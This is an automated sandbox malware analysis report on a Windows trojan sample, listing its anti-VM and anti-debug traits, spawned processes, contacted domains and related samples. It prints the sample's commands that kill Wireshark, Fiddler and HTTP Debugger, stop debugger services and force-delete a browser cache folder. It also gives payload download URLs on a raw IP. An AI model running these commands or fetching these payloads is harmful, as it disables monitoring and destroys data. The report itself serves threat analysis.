Source: Amcache.hve.38.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.38.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,
Source: Amcache.hve.38.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.38.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.38.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.38.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.38.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.38.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.38.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.38.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.38.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.38.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.38.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.38.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.38.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.38.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.38.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.38.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.38.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B7400E8 memset,GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF79B7400E8

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B7400E8 memset,GetLastError,IsDebuggerPresent,OutputDebugStringW,

0_2_00007FF79B7400E8

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

0_2_00007FF79B708980

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73F9F4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF79B73F9F4
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73FEF4 SetUnhandledExceptionFilter,	0_2_00007FF79B73FEF4
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B73FD4C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF79B73FD4C

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B73FF64 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF79B73FF64

Source: Amcache.hve.38.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B714A60 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,memcmp,closesocket,closesocket,closesocket,closesocket,	0_2_00007FF79B714A60
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B7249F0 calloc,strchr,strncpy,strchr,strncpy,strchr,strtoul,strchr,strtoul,getsockname,WSAGetLastError,free,WSAGetLastError,memcpy,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,free,	0_2_00007FF79B7249F0
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B72B4F1 calloc,calloc,calloc,bind,WSAGetLastError,	0_2_00007FF79B72B4F1
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B72B750 calloc,calloc,calloc,bind,WSAGetLastError,	0_2_00007FF79B72B750
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Code function: 0_2_00007FF79B707630 memset,strncmp,strncmp,strchr,htons,atoi,htons,htons,bind,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	0_2_00007FF79B707630

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Windows Service	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Native API	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
lvXRlexBnb.exe	29%	ReversingLabs	Win32.Trojan.Generic
lvXRlexBnb.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://curl.haxx.se/docs/http-cookies.html	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
keyauth.win	172.67.72.57	true	false	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://keyauth.win/api/1.1/	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.101.104.122/plushvcionbronkz.exe	lvXRlexBnb.exe	false		unknown
https://keyauth.win/api/1.2/FILE_W	lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.38.dr	false	URL Reputation: safe	unknown
http://185.101.104.122/plushvciforabronkz.exeC:	lvXRlexBnb.exe	false		unknown
https://keyauth.win/api/1.1/ace	lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://keyauth.win/api/1.1/pace	lvXRlexBnb.exe, 00000000.00000002.2032024162.00000234D6BBC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.101.104.122/plushvciforabronkz.exe	lvXRlexBnb.exe	false		unknown
https://curl.haxx.se/docs/http-cookies.html	lvXRlexBnb.exe	false	URL Reputation: safe	unknown
https://curl.haxx.se/docs/http-cookies.html#	lvXRlexBnb.exe	false		unknown
https://keyauth.win/api/1.2/	lvXRlexBnb.exe, 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmp	false		unknown
http://185.101.104.122/plushvcionbronkz.exeC:	lvXRlexBnb.exe	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.72.57	keyauth.win	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538244
Start date and time:	2024-10-20 21:27:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lvXRlexBnb.exe renamed because original name is a hash value
Original Sample Name:	88300378266b63b920d5a064c201100f.exe
Detection:	MAL
Classification:	mal56.winEXE@69/24@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 42 Number of non-executed functions: 250
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 2.19.126.163, 2.19.126.137, 2.16.100.168
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: lvXRlexBnb.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.72.57	flX5YA1C09.exe	Get hash	malicious	Unknown	Browse
	Iyto7FYCJO.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.GenericKD.74313215.18321.7540.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Variant.Tedy.640280.26081.14300.exe	Get hash	malicious	Unknown	Browse
	fox vanguard bypass.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.DropperX-gen.8867.28776.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.W64.GenKryptik.GHEK.tr.28454.21428.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.MulDrop28.40.18458.1049.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.MulDrop28.40.18458.1049.exe	Get hash	malicious	Unknown	Browse
	aj.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
keyauth.win	J1un7vGf29.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	flX5YA1C09.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	bC7vK74a5a.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	G9e272AEyo.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	oMBUxRQ4cj.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	Iyto7FYCJO.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	G9e272AEyo.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	oMBUxRQ4cj.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.GenericKD.74313215.18321.7540.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
bg.microsoft.map.fastly.net	flX5YA1C09.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	sims-4-updater-v1.3.4.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	SecuriteInfo.com.PUA.Tool.RemoteControl.20.28594.18180.exe	Get hash	malicious	RMSRemoteAdmin	Browse	199.232.210.172
	file.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	http://kongtuke.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	76Kobq8opu.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	76Kobq8opu.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	https://sub.investorscabirigroup.com/4WQbos10596ktJI775idiwtbqpkk1528WGTFCWTFRKDXPVO305927/749609o14	Get hash	malicious	Phisher	Browse	199.232.214.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	SecuriteInfo.com.Win64.Evo-gen.14681.29745.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	217.20.57.20
	SecuriteInfo.com.Win64.ExploitX-gen.15584.28498.exe	Get hash	malicious	Unknown	Browse	217.20.57.22
	lGuWJB0nnP.exe	Get hash	malicious	Unknown	Browse	84.201.210.34
	SCV.cmd	Get hash	malicious	Unknown	Browse	217.20.57.18
	https://www.marketbeat.com/instant-alerts/nasdaq-meta-initiated-coverage-2024-10-11/	Get hash	malicious	Unknown	Browse	217.20.57.34
	http://juupl.alferdaws-center.com/4BuQTp17639YaIh368htsqzgjcla31568MKNWHUCVCNUEJJP15035DSYB17331f12	Get hash	malicious	Unknown	Browse	217.20.57.18
	https://click.pstmrk.it/3s/app.markup.io%2Finvite%2Faccept%2FGAelUtD0/OI9N/z2q4AQ/AQ/914fb818-2548-4566-aa09-a2d85ddc613b/2/KJFV2S8Gzw	Get hash	malicious	Unknown	Browse	217.20.57.19
	Review_and_Approve25534.pdf	Get hash	malicious	Unknown	Browse	217.20.57.18
	Demande de proposition du Service d'aide aux N#U00e9o-Canadiens.pdf	Get hash	malicious	Unknown	Browse	217.20.57.34
	https://www.cognitoforms.com/f/Bj0I4KTKbkCO-wVp9VSRWQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	217.20.57.34

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	J1un7vGf29.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	flX5YA1C09.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	bC7vK74a5a.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	G9e272AEyo.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	oMBUxRQ4cj.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	Iyto7FYCJO.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	G9e272AEyo.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	oMBUxRQ4cj.exe	Get hash	malicious	Unknown	Browse	104.26.0.5

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	J1un7vGf29.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	flX5YA1C09.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	bC7vK74a5a.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	G9e272AEyo.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	oMBUxRQ4cj.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	G9e272AEyo.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	oMBUxRQ4cj.exe	Get hash	malicious	Unknown	Browse	172.67.72.57
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	172.67.72.57
	gtIVRm5dHl.htm	Get hash	malicious	Unknown	Browse	172.67.72.57

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lvXRlexBnb.exe_ec8f12665e2f68290889aebc8ad18e51ab16a_63c109cd_0e077236-54d9-4c6a-afb3-7573b04ba862\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.9991865584947253
Encrypted:	false
SSDEEP:	192:C4ywUg707q+I3EjXVmUzuiFRZ24lO8eA:RywUgI7jI3EjRzuiFRY4lO8e
MD5:	ED92580E0029BD6758442EBD922CD38A
SHA1:	EA76406CAE0004178C6AE7FB7A1A067095DC072C
SHA-256:	632B9AF4359DA635B36FC4BB3023861EA273F53AB415BFD9729EE2840A7CE271
SHA-512:	4603B2E5B097028F4F65884CF341DD95F46F15E25B0568566EA818EB333C2482E69FCB2CCE0169EBCABCE60326CCD5F63BE58D68F896B2C2A0361DAD73BE970A
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.9.2.6.1.3.0.1.8.0.2.6.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.9.2.6.1.3.0.7.5.8.3.9.6.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.e.0.7.7.2.3.6.-.5.4.d.9.-.4.c.6.a.-.a.f.b.3.-.7.5.7.3.b.0.4.b.a.8.6.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.8.2.2.3.0.c.-.b.8.1.7.-.4.f.6.2.-.9.2.4.c.-.2.8.d.0.e.8.1.2.1.0.f.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.l.v.X.R.l.e.x.B.n.b...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.e.4.-.0.0.0.1.-.0.0.1.4.-.d.6.3.d.-.3.a.4.6.2.6.2.3.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.0.9.3.5.7.9.6.b.7.7.b.4.5.0.e.5.0.6.3.8.a.a.5.8.c.5.6.d.2.c.3.0.0.0.0.f.f.f.f.!.0.0.0.0.3.c.d.3.9.d.2.2.f.2.e.e.b.c.5.7.b.0.0.e.1.7.8.0.d.6.e.9.e.1.3.6.8.8.b.e.6.e.f.c.!.l.v.X.R.l.e.x.B.n.b...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.1.8.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9CA1.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Oct 20 19:28:50 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	117012
Entropy (8bit):	1.5455148286243339
Encrypted:	false
